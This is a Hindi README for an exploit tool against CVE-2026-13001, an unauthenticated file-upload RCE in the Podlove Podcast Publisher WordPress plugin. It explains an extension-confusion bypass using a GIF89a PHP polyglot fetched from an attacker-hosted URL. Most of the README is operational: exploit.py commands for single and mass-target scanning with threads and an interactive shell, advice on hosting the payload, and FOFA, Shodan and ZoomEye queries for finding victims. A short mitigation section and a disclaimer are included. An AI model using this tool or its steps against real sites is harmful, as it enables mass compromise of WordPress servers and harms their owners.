
CVE-2026-13001 के लिए शोषण: एक्सटेंशन भ्रम के माध्यम से Podlove पॉडकास्ट प्रकाशक में बिना प्रमाणीकरण के RCE। इसमें बड़े पैमाने पर स्कैनिंग, इंटरैक्टिव शेल और GIF89a PHP पॉलीग्लॉट पेलोड शामिल है।
CVSS 9.8 (गंभीर) | अनप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है
इस Podlove Podcast Publisher WordPress प्लगइन (संस्करण 4.5.1 तक) में गंभीर भेद्यता है जो अनप्रमाणित हमलावरों को इमेज कैश कार्यक्षमता के माध्यम से सर्वर पर मनमानी PHP फ़ाइलें अपलोड करने की अनुमति देती है, जिससे रिमोट कोड निष्पादन (RCE) होता है।
यह भेद्यता दो आंतरिक फ़ंक्शनों के बीच बेमेल का शोषण करती है जो फ़ाइल एक्सटेंशन को अलग-अलग तरीके से पार्स करते हैं:
| फ़ंक्शन | विधि | इनपुट: payload.php?.gif | परिणाम |
|---|
is_image() | basename() फिर pathinfo() | payload.php?.gif | .gif (सत्यापन पास करता है) |
extract_file_extension() | parse_url() फिर pathinfo() | /payload.php | .php (डिस्क पर सहेजा गया) |
| क्षेत्र | मान |
|---|---|
| CVE आईडी | CVE-2026-13001 |
| CVSS | 9.8 (गंभीर) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) |
| प्लगइन | Podlove Podcast Publisher |
| प्रभावित | 4.5.1 तक के संस्करण |
| पैच किया गया | 4.5.2 |
| प्रकार | RCE की ओर ले जाने वाला अनप्रमाणित मनमाना फ़ाइल अपलोड |
| शोधकर्ता | Talal Nasraddeen (Wordfence के माध्यम से) |
| प्रकाशित | July 14, 2026 |
यह भेद्यता इसलिए मौजूद है क्योंकि Podlove प्लगइन में दो फ़ंक्शन समान URL को पार्स करते हैं लेकिन अलग-अलग फ़ाइल एक्सटेंशन निकालते हैं:
is_image() — सत्यापन (lib/helper.php में)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
फ़ंक्शन निम्न की जाँच करता है:
exif_imagetype() के माध्यम से - मान्य इमेज हेडर (GIF89a) की आवश्यकता होती हैwp_check_filetype_and_ext() के माध्यम सेचूँकि basename() में क्वेरी स्ट्रिंग शामिल होती है, एक्सटेंशन gif के रूप में दिखाई देता है - जो डेनीलिस्ट में नहीं है।
extract_file_extension() — फ़ाइल नामकरण (lib/model/image.php में)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
फ़ाइल डिस्क पर .php एक्सटेंशन के साथ सहेजी जाती है।
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
shell_polyglot.gif.php एक पॉलीग्लॉट फ़ाइल है जो GIF इमेज और PHP दोनों के रूप में मान्य है:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
महत्वपूर्ण: पॉलीग्लॉट को स्टैटिक फ़ाइल के रूप में होस्ट किया जाना चाहिए (जैसे, Cloudflare R2, AWS S3, बिना PHP वाला nginx)। यदि होस्टिंग सर्वर PHP प्रोसेस करता है, तो कोड लक्ष्य को कच्ची सामग्री के रूप में वितरित होने के बजाय होस्टिंग सर्वर पर चलता है।
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
wp-content/cache/podlove/ निर्देशिका की सामग्री हटाएँpodlove_image_cache_url अनुरोधों के लिए एक्सेस लॉग मॉनिटर करेंयह भेद्यता CVE-2025-10147 (Podlove <= 4.2.6) के फिक्स का बायपास है।
| पहलू | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| मूल कारण | कोई फ़ाइल प्रकार सत्यापन नहीं | एक्सटेंशन कन्फ्यूज़न के माध्यम से सत्यापन बायपास |
| तकनीक | सीधा PHP फ़ाइल अपलोड | GIF89a पॉलीग्लॉट + URL क्वेरी ट्रिक |
| लागू किया गया फिक्स | डेनीलिस्ट के साथ is_image() जोड़ा गया | एक्सटेंशन पार्सिंग स्थिरता ठीक की गई |
विस्तृत तुलना के लिए analysis/CVE_COMPARISON.md देखें।
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह उपकरण सुरक्षा शोधकर्ताओं और पैनेट्रेशन परीक्षकों के लिए है, जिनके पास लक्ष्य प्रणालियों का परीक्षण करने हेतु स्पष्ट लिखित प्राधिकरण हो। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।
ghostpel-sec — सुरक्षा अनुसंधान और एक्सप्लॉइट विकास
यह प्रोजेक्ट ghostpel-sec सुरक्षा अनुसंधान लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।